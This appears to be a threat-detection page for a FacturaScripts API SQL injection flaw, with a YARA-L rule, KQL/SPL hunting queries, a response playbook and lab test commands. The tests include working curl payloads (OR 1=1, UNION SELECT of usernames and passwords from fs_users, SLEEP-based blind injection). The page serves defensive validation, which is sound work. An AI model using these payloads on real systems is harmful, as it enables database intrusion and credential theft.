Detect FacturaScripts REST API Authenticated SQL Injection via Where::sqlColumn Parenthesis Bypass (CVE-2026-45262) in Google Chronicle
FacturaScripts prior to and including version 2026.1 contains an authenticated SQL injection vulnerability in the REST API 'filter' parameter. The Where::sqlColumn method fails to properly sanitize column/operator tokens when parentheses are used to bypass filter validation, allowing an authenticated low-privileged API user (with a valid API key) to inject arbitrary SQL via crafted filter[field][operator] query string parameters. Given CVSS 9.9 and CWE-918 (SSRF) alongside CWE-89, exploitation may extend beyond data exfiltration into internal request forgery via database-level functions (e.g., LOAD_FILE, or DB-driver network calls), enabling full compromise of the underlying MySQL/MariaDB/PostgreSQL instance and lateral movement into internal network segments reachable from the database host.
MITRE ATT&CK
- Tactic
- Initial Access Collection Exfiltration
YARA-L Detection Query
rule facturascripts_sqli_cve_2026_45262 {
meta:
description = "Detects FacturaScripts REST API filter parameter SQL injection (CVE-2026-45262)"
severity = "CRITICAL"
events:
$e.metadata.event_type = "NETWORK_HTTP"
$e.target.url = /.*\/api\/.*filter.*/
re.regex($e.target.url, `(\)\(|UNION\s+SELECT|SLEEP\(|BENCHMARK\()`)
condition:
$e
} YARA-L rule matching HTTP requests to FacturaScripts API endpoints with filter parameters containing SQL injection or parenthesis-bypass tokens.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate parenthesis-heavy filter expressions from internal apps
- Security scanning tools under authorized testing
- Third-party API clients with unusual but benign query encoding
Other platforms for CVE-2026-45262
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Parenthesis-Bypass Filter SQLi Probe
Expected signal: HTTP access log entry showing the encoded filter parameter with '))' and 'OR 1=1--' tokens against the /api/3/clientes endpoint.
- Test 2Simulate UNION SELECT Injection via Filter Parameter
Expected signal: Web access log and database general_log entries showing a UNION SELECT statement referencing fs_users table.
- Test 3Simulate Time-Based Blind SQLi via SLEEP()
Expected signal: Observable response delay (~5s) in HTTP access logs plus SLEEP( token present in the decoded filter query string.
Response Playbook
Triage
- Confirm the affected FacturaScripts instance version is <= 2026.1 by checking the application's version endpoint or composer.lock file.
- Pull the raw HTTP request logs for the alerting event and manually decode the filter[] query parameter to verify presence of parenthesis-bypass or SQLi tokens.
- Identify the authenticated API key/user associated with the request and check its normal usage baseline (typical endpoints, request volume, source IPs).
- Query the database audit log (general_log / pg_stat_statements) around the alert timestamp for anomalous or malformed SQL statements correlating with the API request.
Containment
- Revoke or rotate the API key used in the malicious request and force re-authentication for the associated user account.
- Apply a temporary WAF/reverse-proxy rule blocking requests to /api/*/list or /api/*/export endpoints where the filter parameter contains unbalanced parentheses or SQL keywords, until the vendor patch is applied.
- Upgrade FacturaScripts to the patched release addressing GHSA-5qmh-x653-g8qj as soon as feasible.
Evidence Collection
- Preserve full HTTP request/response logs (including headers, source IP, API key ID) for the suspicious requests.
- Export database transaction/audit logs covering the incident window for forensic SQL analysis.
- Snapshot the affected database schema and any tables accessed (e.g., users, empresas, api_keys) to assess data exposure.
- Capture the application and web server error logs for stack traces or SQL error messages triggered by the injection attempts.
Escalation Criteria
- !Evidence of successful data exfiltration from sensitive tables (users, api_keys, financial records) — escalate to incident response immediately.
- !Indications the SSRF/CWE-918 component was used to reach internal network services or cloud metadata endpoints from the database host.
- !Multiple distinct API keys or source IPs exhibiting the same injection pattern, suggesting broader compromise or credential reuse.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web/application server access logs showing filter[] query parameters with parenthesis-bypass or SQL keyword patterns - >
Database general/audit query log entries with malformed or unexpected SQL syntax originating from the API service account - >
API key usage/audit records showing anomalous endpoint access patterns - >
Application error logs or exception traces referencing Where::sqlColumn or SQL syntax errors
Tuning Guidance
Baseline normal filter[] usage patterns for your FacturaScripts deployment, as legitimate nested date-range or compound filters can include parentheses. Exclude known internal automation/integration IPs after validating their query syntax is benign. Tighten thresholds if the deployment exposes the API only to a small set of trusted partners, and lower detection sensitivity thresholds once the vendor patch is confirmed deployed but keep monitoring for post-patch bypass attempts.
Hunting Queries
Hunts for repeated bursts of anomalous filter parameter usage from a single client IP over a rolling one-hour window, indicating automated SQLi probing or exploitation attempts.
AppServiceHTTPLogs
| where CsUriStem has "/api/"
| extend q=url_decode(CsUriQuery)
| where q has "filter" and q has_any ("'", "--", "UNION", "))")
| summarize count() by CIp, bin(TimeGenerated, 1h)
| where count_ > 5 index=web uri_path="*/api/*"
| eval decoded=urldecode(uri_query)
| where match(decoded, "filter") AND match(decoded, "(--|UNION|\)\()")
| stats count by clientip, bucket=_time span=1h
| where count > 5 Atomic Red Team Tests
Sends a crafted GET request to a lab FacturaScripts API instance with a filter parameter containing parenthesis-bypass SQL injection syntax to validate detection coverage.
Command
curl -s -G 'http://lab-facturascripts.local/api/3/clientes' --data-urlencode "filter[nombre][))=OR 1=1--]" -H "Authorization: Bearer $LAB_API_KEY" Cleanup
No persistent changes made; clear shell history entry containing the lab API key if reused. Expected Telemetry
HTTP access log entry showing the encoded filter parameter with '))' and 'OR 1=1--' tokens against the /api/3/clientes endpoint.
Expected Detection
KQL/SPL rules alert on the filter parameter containing parenthesis-bypass and SQLi tokens.
Attempts a UNION-based SQL injection through the filter parameter to test data exfiltration detection paths in a lab environment.
Command
curl -s -G 'http://lab-facturascripts.local/api/3/productos' --data-urlencode "filter[referencia][)) UNION SELECT nick,password,3 FROM fs_users-- -]" -H "Authorization: Bearer $LAB_API_KEY" Cleanup
No persistent state changes; rotate the lab API key after test completion as good hygiene. Expected Telemetry
Web access log and database general_log entries showing a UNION SELECT statement referencing fs_users table.
Expected Detection
SIEM detections flag the UNION SELECT and parenthesis-bypass pattern in the request URI; database audit log correlation confirms anomalous query execution.
Issues a time-based blind SQL injection payload using SLEEP() through the filter parameter to validate detection of blind exploitation techniques.
Command
curl -s -G 'http://lab-facturascripts.local/api/3/albaranclientes' --data-urlencode "filter[idalbaran][)) OR SLEEP(5)-- -]" -H "Authorization: Bearer $LAB_API_KEY" -w 'time_total: %{time_total}\n' Cleanup
No persistent changes; verify lab database performance returns to normal after test. Expected Telemetry
Observable response delay (~5s) in HTTP access logs plus SLEEP( token present in the decoded filter query string.
Expected Detection
Detection rules matching SLEEP( pattern in filter parameters trigger; response latency anomaly can be cross-referenced for confirmation.